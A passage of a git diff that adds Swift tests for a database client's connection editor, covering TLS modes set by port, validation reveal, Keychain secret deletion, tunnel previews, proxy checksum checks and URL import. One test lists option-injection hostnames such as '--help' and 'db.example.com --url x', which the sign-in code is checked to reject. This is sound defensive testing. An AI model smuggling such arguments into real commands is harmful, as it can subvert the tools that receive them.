otherFolder.setFieldValue("true", for: pgpass) + #expect(otherFolder.pgpassLookup?.host == "/var/run/postgresql") + #expect(otherFolder.pgpassLookup?.port == 5_432) + + let tcp = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + tcp.setFieldValue("true", for: pgpass) + tcp.update { $0.host = "db.example.com" } + tcp.setPort("6432") + #expect(tcp.pgpassLookup?.host == "db.example.com") + #expect(tcp.pgpassLookup?.port == 6_432) + tcp.update { $0.host = "" } + #expect(tcp.pgpassLookup?.host == "localhost") + } + + private func bindUnixSocket(at path: String) throws -> Int32 { + let descriptor = socket(AF_UNIX, SOCK_STREAM, 0) + guard descriptor >= 0 else { throw POSIXError(.EBADF) } + var address = sockaddr_un() + address.sun_family = sa_family_t(AF_UNIX) + let bytes = Array(path.utf8) + withUnsafeMutableBytes(of: &address.sun_path) { buffer in + for (index, byte) in bytes.enumerated() where index < buffer.count - 1 { + buffer[index] = byte + } + } + let result = withUnsafePointer(to: &address) { pointer in + pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { + bind(descriptor, $0, socklen_t(MemoryLayout.size)) + } + } + guard result == 0 else { + close(descriptor) + throw POSIXError(.EADDRINUSE) + } + return descriptor + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePortTLSTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePortTLSTests.swift new file mode 100644 index 0000000000..9ad98aa9a2 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePortTLSTests.swift @@ -0,0 +1,160 @@ +// +// ConnectionEditorStorePortTLSTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStorePortTLSTests { + private func newConnection(_ type: DatabaseType, in fixture: ConnectionEditorStoreFixture) -> ConnectionEditorStore { + fixture.makeStore(.new(type: type, parsedURL: nil)) + } + + private func imported(_ url: String, in fixture: ConnectionEditorStoreFixture) throws -> ConnectionEditorStore { + fixture.makeStore(.new(type: nil, parsedURL: try ConnectionURLParser.parse(url).get())) + } + + @Test("Typing port 443 on a new Trino connection turns on Verify Identity, and typing past it turns it off") + func typedPortFollowsTheTLSPort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + #expect(store.draft.ssl.mode == .disabled) + + store.setPort("443") + #expect(store.draft.ssl.mode == .verifyIdentity) + + store.setPort("4430") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("A mode the user picked is never changed by the port") + func chosenModeSurvivesThePort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + store.selectSSLMode(.required) + + store.setPort("443") + #expect(store.draft.ssl.mode == .required) + + store.selectSSLMode(.disabled) + store.setPort("4430") + store.setPort("443") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("The port note names the mode the port implies, and offers it while SSL is Disabled") + func portNoticeFollowsThePort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + #expect(store.portTLSNotice == nil) + + store.setPort("443") + let implied = try #require(store.portTLSNotice) + #expect(implied.impliedMode == .verifyIdentity) + #expect(!implied.sslModeIsDisabled) + #expect(implied.actionTitle == nil) + #expect(store.layout.contains(.builtIn(.portTLSNotice))) + + store.selectSSLMode(.disabled) + let offered = try #require(store.portTLSNotice) + #expect(offered.sslModeIsDisabled) + #expect(offered.actionTitle != nil) + + store.setPort("4430") + #expect(store.portTLSNotice == nil) + #expect(!store.layout.contains(.builtIn(.portTLSNotice))) + } + + @Test("A Trino connection on port 443 with Verify Identity saves without a CA certificate") + func verifyIdentityNeedsNoCAForTrino() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + store.setPort("443") + + #expect(store.draft.ssl.caCertPath.isEmpty) + #expect(store.issues(for: .sslTLS).isEmpty) + } + + @Test("Verify CA on Trino still asks for a CA certificate, since it checks no hostname") + func verifyCANeedsACAForTrino() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + store.selectSSLMode(.verifyCa) + #expect(!store.issues(for: .sslTLS).isEmpty) + } + + @Test("Importing trino://host:443 opens the form on Verify Identity, and editing the port away reverts it") + func importedTLSPortIsImplied() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try imported("trino://analyst@trino.example.com:443/hive", in: fixture) + #expect(store.draft.ssl.mode == .verifyIdentity) + + store.setPort("8080") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("Importing trino://host:443 with SSL=false keeps SSL off through later port edits") + func importedSSLFalseIsAChoice() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try imported("trino://trino.example.com:443/hive?SSL=false", in: fixture) + #expect(store.draft.ssl.mode == .disabled) + + store.setPort("4430") + store.setPort("443") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("An imported JDBC URL with SSLVerification=CA opens on Verify CA, asks for the CA file, and keeps it through port edits") + func importedVerificationIsAChoice() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try imported( + "jdbc:trino://analyst@trino.example.com:8443/hive?SSL=true&SSLVerification=CA", + in: fixture + ) + #expect(store.draft.ssl.mode == .verifyCa) + #expect(!store.issues(for: .sslTLS).isEmpty) + + store.setPort("443") + store.setPort("8080") + #expect(store.draft.ssl.mode == .verifyCa) + } + + @Test("Typing port 8443 on a new ClickHouse connection turns on Verify Identity") + func clickHouseTLSPort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.clickhouse, in: fixture) + store.setPort("8443") + #expect(store.draft.ssl.mode == .verifyIdentity) + + store.setPort("8123") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("SQL Server verify modes save, since the form has no CA field for them") + func mssqlVerifyModesSave() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.mssql, in: fixture) + store.selectSSLMode(.verifyIdentity) + #expect(store.issues(for: .sslTLS).isEmpty) + #expect(!store.layout.contains(.builtIn(.sslCACertificate))) + + store.selectSSLMode(.verifyCa) + #expect(store.issues(for: .sslTLS).isEmpty) + } + + @Test("PostgreSQL Verify Identity saves without a CA certificate, and Verify CA still asks for one") + func postgresNeedsACAOnlyForVerifyCA() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.postgresql, in: fixture) + store.selectSSLMode(.verifyIdentity) + #expect(store.issues(for: .sslTLS).isEmpty) + + store.selectSSLMode(.verifyCa) + #expect(!store.issues(for: .sslTLS).isEmpty) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreRevealTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreRevealTests.swift new file mode 100644 index 0000000000..da1f069647 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreRevealTests.swift @@ -0,0 +1,160 @@ +// +// ConnectionEditorStoreRevealTests.swift +// TableProTests +// + +import Foundation +import SwiftUI +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreRevealTests { + private func postgres() -> DatabaseConnection { + DatabaseConnection(name: "Orders", host: "db.example.com", port: 5_432, database: "orders", username: "app", type: .postgresql) + } + + // Two issues on two rows, raised by code, so nothing has been edited yet. + private func newStoreWithTwoIssues(_ fixture: ConnectionEditorStoreFixture) throws -> ConnectionEditorStore { + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.portText = "99999" + $0.options.connectTimeoutSeconds = 0 + } + try #require(store.issue(for: .builtIn(.port)) != nil) + try #require(store.issue(for: .builtIn(.connectTimeout)) != nil) + return store + } + + private func sidebarMarks(_ store: ConnectionEditorStore) -> Set { + Set(ConnectionEditorSidebarRow.rows(for: store).filter { $0.hasIssues }.map { $0.facet }) + } + + @Test("A new form shows no issue anywhere, yet the commit bar still has the reason Save is off") + func pristineNewFormIsNotRed() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + + #expect(store.revealedIssue(for: .builtIn(.port)) == nil) + #expect(!store.facetHasRevealedErrors(.general)) + #expect(sidebarMarks(store).isEmpty) + let first = try #require(store.firstBlockingIssue) + #expect(!store.isRevealed(first)) + #expect(!store.canSave) + } + + @Test("Editing a row reveals that row's issue only, in the row and the sidebar") + func editRevealsItsRow() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + + store.tracking(store.portBinding, row: .builtIn(.port)).wrappedValue = "70000" + + #expect(store.revealedIssue(for: .builtIn(.port)) != nil) + #expect(store.revealedIssue(for: .builtIn(.connectTimeout)) == nil) + #expect(sidebarMarks(store) == [.general]) + #expect(store.facetHasRevealedErrors(.general)) + #expect(!store.facetHasRevealedErrors(.advanced)) + } + + @Test("A write from code reveals nothing; a write through the row's control does") + func onlyControlWritesReveal() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + + store.binding(\.portText).wrappedValue = "80000" + #expect(store.revealedIssue(for: .builtIn(.port)) == nil) + + store.noteEdited(.builtIn(.connectTimeout)) + #expect(store.revealedIssue(for: .builtIn(.connectTimeout)) != nil) + } + + @Test("A Save attempt reveals every issue and focuses the first") + func saveRevealsEverything() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + store.selectedFacet = .appearance + + #expect(throws: ConnectionEditorSaveError.self) { try store.save().get() } + + #expect(store.revealedIssue(for: .builtIn(.port)) != nil) + #expect(store.revealedIssue(for: .builtIn(.connectTimeout)) != nil) + #expect(sidebarMarks(store) == [.general, .advanced]) + #expect(store.selectedFacet == .general) + #expect(store.focusRequest?.row == .builtIn(.port)) + } + + @Test("A Test attempt reveals every issue, even one that keeps Test off") + func testRevealsEverything() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + #expect(!store.canTest) + + store.test() + + #expect(store.revealsAllIssues) + #expect(store.revealedIssue(for: .builtIn(.connectTimeout)) != nil) + #expect(store.testState == .idle) + } + + @Test("A saved connection shows its issues from the first frame") + func savedConnectionRevealsAtOnce() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = DatabaseConnection(name: "Local", database: "", type: .sqlite) + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + let issue = try #require(store.issue(for: .builtIn(.databaseFile))) + #expect(store.isRevealed(issue)) + #expect(sidebarMarks(store) == [.general]) + } + + @Test("Asking the commit bar why Save is off reveals that issue and goes to it") + func barRevealsAndFocuses() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + let first = try #require(store.firstBlockingIssue) + store.selectedFacet = .safeMode + + store.reveal(first) + + #expect(store.isRevealed(first)) + #expect(store.selectedFacet == first.facet) + #expect(store.focusRequest?.row == first.row) + let others = store.issues.filter { $0.row != first.row } + #expect(!others.contains { store.isRevealed($0) }) + } + + @Test("A focus request is spent by the row that takes it, so a later row never pulls the cursor back") + func focusRequestIsSpent() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.focus(facet: .general, row: .builtIn(.host)) + let request = try #require(store.focusRequest) + + store.didApplyFocus(FocusRequest(facet: .general, row: .builtIn(.host), token: UUID())) + #expect(store.focusRequest == request) + store.didApplyFocus(request) + #expect(store.focusRequest == nil) + } + + @Test("Initial focus is placed once per window: Host for a new connection, Name for a saved one") + func initialFocusOnce() throws { + let fixture = try ConnectionEditorStoreFixture() + let fresh = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + fresh.placeInitialFocusIfNeeded() + let request = try #require(fresh.focusRequest) + #expect(request.row == .builtIn(.host)) + fresh.didApplyFocus(request) + fresh.placeInitialFocusIfNeeded() + #expect(fresh.focusRequest == nil) + + let connection = postgres() + fixture.seed([connection]) + let saved = fixture.makeStore(.edit(connectionId: connection.id)) + saved.placeInitialFocusIfNeeded() + #expect(saved.focusRequest?.row == .builtIn(.name)) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSecretStateTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSecretStateTests.swift new file mode 100644 index 0000000000..bf0e329c12 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSecretStateTests.swift @@ -0,0 +1,200 @@ +// +// ConnectionEditorStoreSecretStateTests.swift +// TableProTests +// + +import Foundation +import TableProSSHConfig +import Testing + +@testable import TablePro + +// Emptying a password field must delete the stored secret, or the next connect, an export and a duplicate still carry it. +@MainActor +struct ConnectionEditorStoreSecretStateTests { + private final class ScriptedKeychain: KeychainStoring, @unchecked Sendable { + private let lock = NSLock() + private let result: KeychainStringResult + + init(_ result: KeychainStringResult) { + self.result = result + } + + @discardableResult + func writeString(_ value: String, forKey key: String) -> Bool { true } + + func readStringResult(forKey key: String) -> KeychainStringResult { + lock.withLock { result } + } + + func delete(forKey key: String) {} + } + + // The fixture's services over a library whose every Keychain read answers `result`. + private func store( + _ fixture: ConnectionEditorStoreFixture, + keychain result: KeychainStringResult, + connection: DatabaseConnection + ) -> ConnectionEditorStore { + let storage = ConnectionStorage( + fileURL: fixture.directory.appendingPathComponent("scripted-connections.json"), + userDefaults: fixture.suite.defaults, + keychain: ScriptedKeychain(result) + ) + #expect(storage.saveConnections([connection])) + return ConnectionEditorStore( + request: .edit(connectionId: connection.id), + services: fixture.services.replacingConnectionStorage(storage), + recentConnections: fixture.recents, + listPreferences: fixture.listPreferences + ) + } + + private func plan(_ store: ConnectionEditorStore) -> SecretWritePlan { + ConnectionEditorEngine.secretPlan(store.draft, store.traits, originalTraits: store.originalTraits, store.context) + } + + private func clearsPassword(_ store: ConnectionEditorStore) -> Bool { + ConnectionEditorEngine.clearsStoredPassword(store.draft, store.traits) + } + + private func sshConnection() -> DatabaseConnection { + var connection = TestFixtures.makeConnection() + connection.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + return connection + } + + @Test("Clearing a password that was stored asks for the stored one to be deleted") + func clearedPasswordIsDeleted() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("hunter2"), connection: TestFixtures.makeConnection()) + #expect(store.draft.credentials.password == "hunter2") + store.update { $0.credentials.password = "" } + + #expect(clearsPassword(store)) + #expect(plan(store).deletesAfterRecord.contains(.password)) + } + + @Test("Leaving a loaded password in place deletes nothing") + func untouchedPasswordIsKept() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("hunter2"), connection: TestFixtures.makeConnection()) + + #expect(!clearsPassword(store)) + #expect(!plan(store).deletesAfterRecord.contains(.password)) + } + + @Test("An empty field on a connection that never had a password deletes nothing") + func neverStoredDeletesNothing() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .notFound, connection: TestFixtures.makeConnection()) + store.update { $0.credentials.password = "" } + + #expect(!clearsPassword(store)) + #expect(!plan(store).deletesAfterRecord.contains(.password)) + } + + @Test( + "A keychain that could not be read never causes a delete", + arguments: [ + KeychainStringResult.locked, + .userCancelled, + .authFailed, + .error(-25_300), + ] + ) + func unreadableKeychainNeverDeletes(_ result: KeychainStringResult) throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: result, connection: TestFixtures.makeConnection()) + store.update { $0.credentials.password = "" } + + #expect(!clearsPassword(store)) + let plan = plan(store) + #expect(!plan.deletesAfterRecord.contains(.password)) + #expect(!plan.stagedDeletes.contains(.password)) + } + + @Test("Switching to prompt mode is handled by the prompt arm, not by the cleared arm") + func promptModeIsNotACleared() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("hunter2"), connection: TestFixtures.makeConnection()) + store.update { $0.credentials.password = "" } + store.setPasswordPrompt(true) + + #expect(!clearsPassword(store)) + #expect(ConnectionEditorEngine.effectivePromptForPassword(store.draft, store.traits)) + #expect(plan(store).deletesAfterRecord.contains(.password)) + } + + @Test("An emptied inline SSH password and passphrase are deleted too") + func clearedInlineSSHSecretsAreDeleted() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("secret"), connection: sshConnection()) + store.update { + $0.ssh.password = "" + $0.ssh.keyPassphrase = "" + } + + #expect(store.draft.ssh.clearsStoredPassword) + #expect(store.draft.ssh.clearsStoredKeyPassphrase) + let plan = plan(store) + #expect(plan.deletesAfterRecord.contains(.sshPassword)) + #expect(plan.deletesAfterRecord.contains(.sshKeyPassphrase)) + } + + @Test("An inline SSH secret that could not be read is never deleted") + func unreadableInlineSSHSecretsAreKept() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .locked, connection: sshConnection()) + store.update { + $0.ssh.password = "" + $0.ssh.keyPassphrase = "" + } + + #expect(!store.draft.ssh.clearsStoredPassword) + #expect(!store.draft.ssh.clearsStoredKeyPassphrase) + let plan = plan(store) + #expect(!plan.deletesAfterRecord.contains(.sshPassword)) + #expect(!plan.deletesAfterRecord.contains(.sshKeyPassphrase)) + } +} + +@MainActor +private extension AppServices { + func replacingConnectionStorage(_ storage: ConnectionStorage) -> AppServices { + AppServices( + appEvents: appEvents, + appSettings: appSettings, + appSettingsStorage: appSettingsStorage, + connectionStorage: storage, + databaseManager: databaseManager, + pluginManager: pluginManager, + schemaService: schemaService, + schemaRefreshService: schemaRefreshService, + schemaProviderRegistry: schemaProviderRegistry, + catalogChangeService: catalogChangeService, + sqlFavoriteManager: sqlFavoriteManager, + favoriteTablesStorage: favoriteTablesStorage, + favoriteDatabasesStorage: favoriteDatabasesStorage, + tableFolderStorage: tableFolderStorage, + aiChatStorage: aiChatStorage, + aiKeyStorage: aiKeyStorage, + aiAccessApprovals: aiAccessApprovals, + groupStorage: groupStorage, + tagStorage: tagStorage, + sshProfileStorage: sshProfileStorage, + credentialProfileStorage: credentialProfileStorage, + featureAccess: featureAccess, + syncMetadataStorage: syncMetadataStorage, + favoritesExpansionState: favoritesExpansionState, + linkedFolderWatcher: linkedFolderWatcher, + queryHistoryManager: queryHistoryManager, + dateFormattingService: dateFormattingService, + copilotService: copilotService, + mcpServerManager: mcpServerManager, + syncTracker: syncTracker, + welcomeRouter: welcomeRouter, + telemetry: telemetry + ) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift index 5ecad7b71e..de0553f873 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift @@ -79,13 +79,35 @@ struct ConnectionEditorStoreTests { #expect(store.testState == .idle) } - @Test("Test needs no name") - func testNeedsNoName() throws { + @Test("Name never blocks: Test and Save work with Name empty, and Save names it after the form") + func nameNeverBlocks() throws { let fixture = try ConnectionEditorStoreFixture() let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.host = "db.example.com" + $0.database = "orders" + } #expect(store.draft.name.isEmpty) + #expect(store.namePrompt == "db.example.com/orders") #expect(store.canTest) - #expect(!store.canSave) + #expect(store.canSave) + + let saved = try store.save().get() + #expect(saved.name == "db.example.com/orders") + } + + @Test("Emptying a saved connection's Name keeps its saved name, and the prompt shows it") + func emptiedNameKeepsTheSavedName() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + store.update { $0.name = "" } + + #expect(store.namePrompt == "Orders") + #expect(!store.hasUnsavedChanges) + #expect(try store.save().get().name == "Orders") } // MARK: - Save order diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift new file mode 100644 index 0000000000..8e64fae01f --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift @@ -0,0 +1,199 @@ +// +// ConnectionEditorStoreTransportTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro +import TableProTestSupport + +@MainActor +struct ConnectionEditorStoreTransportTests { + private func passTest(_ store: ConnectionEditorStore) -> ConnectionTestState { + store.lastTestedFingerprint = ConnectionEditorEngine.testFingerprint( + store.draft, store.traits, originalTraits: store.originalTraits, store.context + ) + let state = ConnectionTestState.succeeded( + ConnectionTestSuccess(typeName: store.traits.displayName, serverVersion: nil, elapsedMilliseconds: 12, warning: nil) + ) + store.testState = state + return state + } + + private func makeStore(_ fixture: ConnectionEditorStoreFixture, download: CloudSQLProxyDownload) -> ConnectionEditorStore { + ConnectionEditorStore( + request: .new(type: .postgresql, parsedURL: nil), + services: fixture.services, + recentConnections: fixture.recents, + listPreferences: fixture.listPreferences, + cloudSQLProxyDownload: download + ) + } + + // MARK: - Test result + + @Test("Selecting a transport clears a passing test result") + func selectionInvalidatesTestResult() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) + let passed = passTest(store) + #expect(store.testState == passed) + + store.selectTransport(.ssh) + + #expect(store.testState == .idle) + } + + @Test("Choosing an endpoint clears a passing test result") + func endpointInvalidatesTestResult() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) + _ = passTest(store) + + store.selectEndpoint(.localSocket) + + #expect(store.testState == .idle) + } + + // MARK: - Host list over a tunnel + + @Test("Redis Cluster and Kafka advice never speaks of a replica set") + func clusterAndBrokerAdviceIsNotAboutReplicaSets() throws { + let cluster = try #require(TunnelHostListAdvice.message(fieldId: "redisClusterHosts", hosts: "n1.example:7000,n2.example:7001")) + #expect(!cluster.localizedCaseInsensitiveContains("replica set")) + let kafka = try #require(TunnelHostListAdvice.message(fieldId: "kafkaBootstrapServers", hosts: "b1.example:9092,b2.example:9092")) + #expect(!kafka.localizedCaseInsensitiveContains("replica set")) + } + + // MARK: - Tunnel command preview + + @Test("A cleared Port previews the engine's default port, which is what connects") + func clearedPortPreviewsDefaultPort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.selectTransport(.tunnelCommand) + store.update { + $0.tunnelCommand.config.method = .kubectl + $0.tunnelCommand.config.kubernetesResource = "service/postgres" + } + store.setPort("") + + let preview = try #require(store.tunnelCommandPreview) + + #expect(preview.contains("{port}:5432")) + #expect(!preview.contains(":0")) + } + + @Test("A host-list connection previews the first listed node, which is what connects") + func hostListPreviewsFirstListedNode() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .redis, parsedURL: nil)) + store.selectTransport(.tunnelCommand) + store.update { $0.host = "" } + store.setFieldValue("cluster", for: "redisMode") + store.setFieldValue("a.example:7000,b.example:7001", for: "redisClusterHosts") + store.update { + $0.tunnelCommand.config.method = .custom + $0.tunnelCommand.config.command = "forward {port} {host}:{remotePort}" + } + + let preview = try #require(store.tunnelCommandPreview) + + #expect(preview == "forward '{port}' a.example:7000") + } + + // MARK: - Cloud SQL Auth Proxy binary + + @Test("The editor shows the shared download, and its Cancel stops it") + func editorFollowsSharedDownload() async throws { + let fixture = try ConnectionEditorStoreFixture() + let dir = try TestProxyDownload.temporaryDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let record = DownloadRecord() + let download = CloudSQLProxyDownload(binaryManager: CloudSQLProxyBinaryManager( + baseDirectory: dir, + expectedSHA256: TestProxyDownload.pins(Data("pinned build".utf8)), + download: { _, progress in + record.started() + await progress(0.5) + await suspendUntilCancelled() + record.sawCancel() + throw URLError(.cancelled) + } + )) + let store = makeStore(fixture, download: download) + + store.downloadCloudSQLProxy() + try await waitUntil { store.cloudSQLProxyDownloadPhase == .downloading(fraction: 0.5) } + #expect(store.cloudSQLProxyDownloadPhase.isDownloading) + + store.cancelCloudSQLProxyDownload() + #expect(store.cloudSQLProxyDownloadPhase == .idle) + try await waitUntil { record.wasCancelled } + } + + @Test( + "Only a managed binary that passes its checksum shows as detected", + .enabled(if: CLIExecutableFinder.findExecutable("cloud-sql-proxy") == nil, "a system cloud-sql-proxy wins over the managed one") + ) + func detectedNeedsACurrentManagedBinary() async throws { + let fixture = try ConnectionEditorStoreFixture() + let dir = try TestProxyDownload.temporaryDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let bytes = Data("pinned build".utf8) + let binary = dir.appendingPathComponent("cloud-sql-proxy") + try Data("altered".utf8).write(to: binary) + try FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: binary.path) + try CloudSQLProxyBinaryManager.pinnedVersion + .write(to: dir.appendingPathComponent("version.txt"), atomically: true, encoding: .utf8) + let store = makeStore(fixture, download: CloudSQLProxyDownload(binaryManager: CloudSQLProxyBinaryManager( + baseDirectory: dir, + expectedSHA256: TestProxyDownload.pins(bytes), + download: TestProxyDownload.serving(bytes, into: dir) + ))) + + store.detectCloudSQLProxy() + try await waitUntil { store.cloudSQLProxyDetection != .checking } + #expect(store.cloudSQLProxyDetection == .notFound) + + try bytes.write(to: binary) + store.detectCloudSQLProxy() + try await waitUntil { store.cloudSQLProxyDetection != .checking } + #expect(store.cloudSQLProxyDetection == .found(binary.path)) + } + + // MARK: - Cloudflare browser sign-in + + @Test("Browser sign-in refuses a hostname cloudflared would read as an option or split", arguments: [ + "-h", "--help", "db.example.com --url x", "db\texample.com", "db.example.com\u{202E}", + ]) + func signInRefusesFlagLikeHostname(hostname: String) throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.cloudflare.binaryPath = "/usr/bin/true" + $0.cloudflare.accessHostname = hostname + } + + store.signInWithCloudflare() + + #expect(store.cloudflareSignInError != nil) + } + + @Test("Browser sign-in starts for a plain hostname") + func signInStartsForPlainHostname() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.cloudflare.binaryPath = "/usr/bin/true" + $0.cloudflare.accessHostname = "db.example.com" + } + + store.signInWithCloudflare() + + #expect(store.cloudflareSignInError == nil) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreURLImportTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreURLImportTests.swift new file mode 100644 index 0000000000..8258c337f9 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreURLImportTests.swift @@ -0,0 +1,132 @@ +// +// ConnectionEditorStoreURLImportTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreURLImportTests { + private func importing(_ url: String, into fixture: ConnectionEditorStoreFixture) throws -> ConnectionEditorStore { + fixture.makeStore(.new(type: nil, parsedURL: try ConnectionURLParser.parse(url).get())) + } + + private func recordEdits(_ store: ConnectionEditorStore) -> ConnectionFormEdits { + ConnectionEditorEngine.edits(store.draft, store.traits, originalTraits: store.originalTraits, store.context) + } + + @Test("Secrets a MongoDB connection string carries reach Keychain-backed fields, never plain options") + func mongoURISecretsStayOutOfPlainOptions() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing( + "mongodb://app:s3cret@db.example.com:27017/orders?tls=true" + + "&tlsCertificateKeyFile=%2FUsers%2Falice%2Fclient.pem&tlsCertificateKeyFilePassword=hunter2" + + "&authMechanism=MONGODB-AWS&authMechanismProperties=AWS_SESSION_TOKEN%3AFQoGZXIvYXdz" + + "&proxyPassword=proxy-secret&retryWrites=true", + into: fixture + ) + let token = "mongoAWSSessionToken" + let formValues = store.draft.fieldValues.filter { $0.key != token } + let recordValues = recordEdits(store).additionalFields + + #expect(store.draft.ssl.clientCertPath == "/Users/alice/client.pem") + #expect(store.draft.ssl.clientKeyPassphrase == "hunter2") + #expect(store.draft.ssl.clientKeyPath == "/Users/alice/client.pem") + #expect(store.draft.fieldValues[token] == "FQoGZXIvYXdz") + #expect(ConnectionEditorEngine.secureFieldsOwnedByForm(store.traits, originalTraits: store.originalTraits) + .contains { $0.id == token }) + let plan = ConnectionEditorEngine.secretPlan(store.draft, store.traits, originalTraits: store.originalTraits, store.context) + #expect(plan.writes(of: .pluginField(token)) == "FQoGZXIvYXdz") + #expect(plan.writes(of: .sslClientKeyPassphrase) == "hunter2") + #expect(recordValues[token] == nil) + for plain in [formValues, recordValues] { + #expect(!plain.values.contains("hunter2")) + #expect(!plain.values.contains { $0.contains("FQoGZXIvYXdz") }) + #expect(!plain.values.contains("proxy-secret")) + #expect(plain["mongoParam_retryWrites"] == "true") + } + } + + @Test("sslmode=verify-full opens the form on Verify Identity") + func verifyFullKeepsIdentityVerification() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("postgresql://u@db.example.com/app?sslmode=verify-full", into: fixture) + #expect(store.draft.ssl.mode == .verifyIdentity) + } + + @Test("sslmode=verify-ca opens the form on Verify CA") + func verifyCaKeepsCertificateVerification() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("postgresql://u@db.example.com/app?sslmode=verify-ca", into: fixture) + #expect(store.draft.ssl.mode == .verifyCa) + } + + @Test( + "ssl=1 and ssl=require turn TLS on as ssl=true does", + arguments: [ + "postgresql://u@db.example.com/app", + "mysql://root@db.example.com/app", + "redis://cache.example.com" + ], + ["1", "require"] + ) + func sslFlagSpellingsTurnTLSOn(_ base: String, _ value: String) throws { + let fixture = try ConnectionEditorStoreFixture() + let spelled = try 